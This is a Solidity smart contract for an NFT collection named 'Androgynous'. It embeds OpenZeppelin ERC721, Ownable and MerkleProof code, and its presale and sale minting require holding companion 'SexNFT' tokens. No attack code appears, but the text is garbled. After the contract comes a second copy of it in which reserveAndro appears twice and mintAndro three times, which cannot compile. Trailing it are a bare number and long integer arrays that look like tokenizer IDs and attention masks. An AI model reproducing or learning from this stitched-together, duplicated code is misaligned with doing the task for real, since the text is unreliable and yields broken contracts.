bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall( abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer" ); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/MerkleProof.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity >=0.6.0 <0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: contracts/Androgynous.sol pragma solidity >=0.6.0 <0.8.0; abstract contract SexNFT { function ownerOf(uint256 tokenId) public virtual view returns (address); function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256); function balanceOf(address owner) external virtual view returns (uint256 balance); } /** * @title Androgynous contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract Androgynous is ERC721, Ownable { using SafeMath for uint256; SexNFT private boys; SexNFT private girls; uint256 public androPrice = 80000000000000000; uint256 public constant maxAndroPurchase = 10; uint256 public MAX_ANDRO = 900; uint256 public MAX_SALE_ANDRO = 800; uint256 public MAX_PRESALE_ANDRO = 400; bool public saleIsActive = false; bool public presaleIsActive = false; bytes32 public merkleRoot = 0xccb5894e4adb98cc9bf4a82de810683038a26bc33026a03fdfd7968b79447759; mapping(address => bool) public whitelistClaimed; constructor(address boysContractAddress, address girlsContractAddress) ERC721("SexNFT Androgynous", "SEXA") { boys = SexNFT(boysContractAddress); girls = SexNFT(girlsContractAddress); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function flipPresaleState() public onlyOwner { presaleIsActive = !presaleIsActive; } function changeAndroPrice(uint256 newAndroPrice) public onlyOwner { androPrice = newAndroPrice; } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner { merkleRoot = merkleRoot_; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; msg.sender.transfer(balance); } function presaleAndro(bytes32[] calldata _merkleProof) public payable { require(!whitelistClaimed[msg.sender], "Address has already claimed"); require(presaleIsActive, "Presale must be active to mint Androgynous"); require( totalSupply().add(1) <= MAX_PRESALE_ANDRO, "Purchase would exceed max presale supply of Androgynous" ); require(androPrice <= msg.value, "Ether value sent is not correct"); uint balanceBoys = boys.balanceOf(msg.sender); uint balanceGirls = girls.balanceOf(msg.sender); require(balanceBoys > 0, "Must hold at least one SexNFT BoySperm to mint Androgynous"); require(balanceGirls > 0, "Must hold at least one SexNFT GirlEgg to mint Androgynous"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid address proof" ); whitelistClaimed[msg.sender] = true; _safeMint(msg.sender, totalSupply()); } function reserveAndro(uint256 reserveAmount) public onlyOwner { require( totalSupply().add(reserveAmount) <= MAX_ANDRO, "Mint would exceed max supply of Androgynous" ); uint256 supply = totalSupply(); for (uint256 i = 0; i < reserveAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintAndro(uint256 numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Androgynous"); require( numberOfTokens <= maxAndroPurchase, "Can only mint 10 tokens at a time" ); require( totalSupply().add(numberOfTokens) <= MAX_SALE_ANDRO, "Purchase would exceed max supply of sale Androgynous" ); require( androPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct" ); uint balanceBoys = boys.balanceOf(msg.sender); uint balanceGirls = girls.balanceOf(msg.sender); require(balanceBoys > 0, "Must hold at least one SexNFT BoySperm to mint Androgynous"); require(balanceGirls > 0, "Must hold at least one SexNFT GirlEgg to mint Androgynous"); uint256 supply = totalSupply(); for (uint256 i = 0; i < numberOfTokens; i++) { if (supply + i < MAX_SALE_ANDRO) { _safeMint(msg.sender, supply + i); } } } }
* @title Androgynous contract @dev Extends ERC721 Non-Fungible Token Standard basic implementation/
contract Androgynous is ERC721, Ownable { using SafeMath for uint256; SexNFT private boys; SexNFT private girls; uint256 public androPrice = 80000000000000000; uint256 public constant maxAndroPurchase = 10; uint256 public MAX_ANDRO = 900; uint256 public MAX_SALE_ANDRO = 800; uint256 public MAX_PRESALE_ANDRO = 400; bool public saleIsActive = false; bool public presaleIsActive = false; bytes32 public merkleRoot = 0xccb5894e4adb98cc9bf4a82de810683038a26bc33026a03fdfd7968b79447759; mapping(address => bool) public whitelistClaimed; constructor(address boysContractAddress, address girlsContractAddress) ERC721("SexNFT Androgynous", "SEXA") { boys = SexNFT(boysContractAddress); girls = SexNFT(girlsContractAddress); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function flipPresaleState() public onlyOwner { presaleIsActive = !presaleIsActive; } function changeAndroPrice(uint256 newAndroPrice) public onlyOwner { androPrice = newAndroPrice; } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner { merkleRoot = merkleRoot_; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; msg.sender.transfer(balance); } function presaleAndro(bytes32[] calldata _merkleProof) public payable { require(!whitelistClaimed[msg.sender], "Address has already claimed"); require(presaleIsActive, "Presale must be active to mint Androgynous"); require( totalSupply().add(1) <= MAX_PRESALE_ANDRO, "Purchase would exceed max presale supply of Androgynous" ); require(androPrice <= msg.value, "Ether value sent is not correct"); uint balanceBoys = boys.balanceOf(msg.sender); uint balanceGirls = girls.balanceOf(msg.sender); require(balanceBoys > 0, "Must hold at least one SexNFT BoySperm to mint Androgynous"); require(balanceGirls > 0, "Must hold at least one SexNFT GirlEgg to mint Androgynous"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid address proof" ); whitelistClaimed[msg.sender] = true; _safeMint(msg.sender, totalSupply()); } function reserveAndro(uint256 reserveAmount) public onlyOwner { require( totalSupply().add(reserveAmount) <= MAX_ANDRO, "Mint would exceed max supply of Androgynous" ); uint256 supply = totalSupply(); for (uint256 i = 0; i < reserveAmount; i++) { _safeMint(msg.sender, supply + i); } } function reserveAndro(uint256 reserveAmount) public onlyOwner { require( totalSupply().add(reserveAmount) <= MAX_ANDRO, "Mint would exceed max supply of Androgynous" ); uint256 supply = totalSupply(); for (uint256 i = 0; i < reserveAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintAndro(uint256 numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Androgynous"); require( numberOfTokens <= maxAndroPurchase, "Can only mint 10 tokens at a time" ); require( totalSupply().add(numberOfTokens) <= MAX_SALE_ANDRO, "Purchase would exceed max supply of sale Androgynous" ); require( androPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct" ); uint balanceBoys = boys.balanceOf(msg.sender); uint balanceGirls = girls.balanceOf(msg.sender); require(balanceBoys > 0, "Must hold at least one SexNFT BoySperm to mint Androgynous"); require(balanceGirls > 0, "Must hold at least one SexNFT GirlEgg to mint Androgynous"); uint256 supply = totalSupply(); for (uint256 i = 0; i < numberOfTokens; i++) { if (supply + i < MAX_SALE_ANDRO) { _safeMint(msg.sender, supply + i); } } } function mintAndro(uint256 numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Androgynous"); require( numberOfTokens <= maxAndroPurchase, "Can only mint 10 tokens at a time" ); require( totalSupply().add(numberOfTokens) <= MAX_SALE_ANDRO, "Purchase would exceed max supply of sale Androgynous" ); require( androPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct" ); uint balanceBoys = boys.balanceOf(msg.sender); uint balanceGirls = girls.balanceOf(msg.sender); require(balanceBoys > 0, "Must hold at least one SexNFT BoySperm to mint Androgynous"); require(balanceGirls > 0, "Must hold at least one SexNFT GirlEgg to mint Androgynous"); uint256 supply = totalSupply(); for (uint256 i = 0; i < numberOfTokens; i++) { if (supply + i < MAX_SALE_ANDRO) { _safeMint(msg.sender, supply + i); } } } function mintAndro(uint256 numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Androgynous"); require( numberOfTokens <= maxAndroPurchase, "Can only mint 10 tokens at a time" ); require( totalSupply().add(numberOfTokens) <= MAX_SALE_ANDRO, "Purchase would exceed max supply of sale Androgynous" ); require( androPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct" ); uint balanceBoys = boys.balanceOf(msg.sender); uint balanceGirls = girls.balanceOf(msg.sender); require(balanceBoys > 0, "Must hold at least one SexNFT BoySperm to mint Androgynous"); require(balanceGirls > 0, "Must hold at least one SexNFT GirlEgg to mint Androgynous"); uint256 supply = totalSupply(); for (uint256 i = 0; i < numberOfTokens; i++) { if (supply + i < MAX_SALE_ANDRO) { _safeMint(msg.sender, supply + i); } } } }
1,634,843
[ 1, 1876, 303, 75, 878, 1481, 6835, 225, 6419, 5839, 4232, 39, 27, 5340, 3858, 17, 42, 20651, 1523, 3155, 8263, 5337, 4471, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7835, 303, 75, 878, 1481, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 377, 203, 565, 348, 338, 50, 4464, 3238, 800, 1900, 31, 203, 565, 348, 338, 50, 4464, 3238, 314, 481, 3251, 31, 203, 203, 565, 2254, 5034, 1071, 471, 303, 5147, 273, 1725, 12648, 12648, 31, 203, 565, 2254, 5034, 1071, 5381, 943, 1876, 303, 23164, 273, 1728, 31, 203, 565, 2254, 5034, 1071, 4552, 67, 4307, 1457, 273, 2468, 713, 31, 203, 565, 2254, 5034, 1071, 4552, 67, 5233, 900, 67, 4307, 1457, 273, 1725, 713, 31, 203, 565, 2254, 5034, 1071, 4552, 67, 3670, 5233, 900, 67, 4307, 1457, 273, 7409, 31, 203, 565, 1426, 1071, 272, 5349, 2520, 3896, 273, 629, 31, 203, 565, 1426, 1071, 4075, 5349, 2520, 3896, 273, 629, 31, 203, 203, 565, 1731, 1578, 1071, 30235, 2375, 273, 374, 92, 952, 70, 25, 6675, 24, 73, 24, 361, 70, 10689, 952, 29, 17156, 24, 69, 11149, 323, 28, 2163, 9470, 23, 4630, 28, 69, 5558, 13459, 3707, 3103, 26, 69, 4630, 74, 2180, 72, 7235, 9470, 70, 7235, 6334, 4700, 6162, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 10734, 9762, 329, 31, 203, 203, 565, 3885, 12, 2867, 800, 1900, 8924, 1887, 16, 1758, 314, 481, 3251, 8924, 1887, 13, 4232, 39, 27, 5340, 2932, 55, 338, 50, 4464, 7835, 303, 75, 878, 1481, 3113, 315, 1090, 17269, 7923, 288, 203, 3639, 800, 1900, 273, 348, 338, 50, 2 ]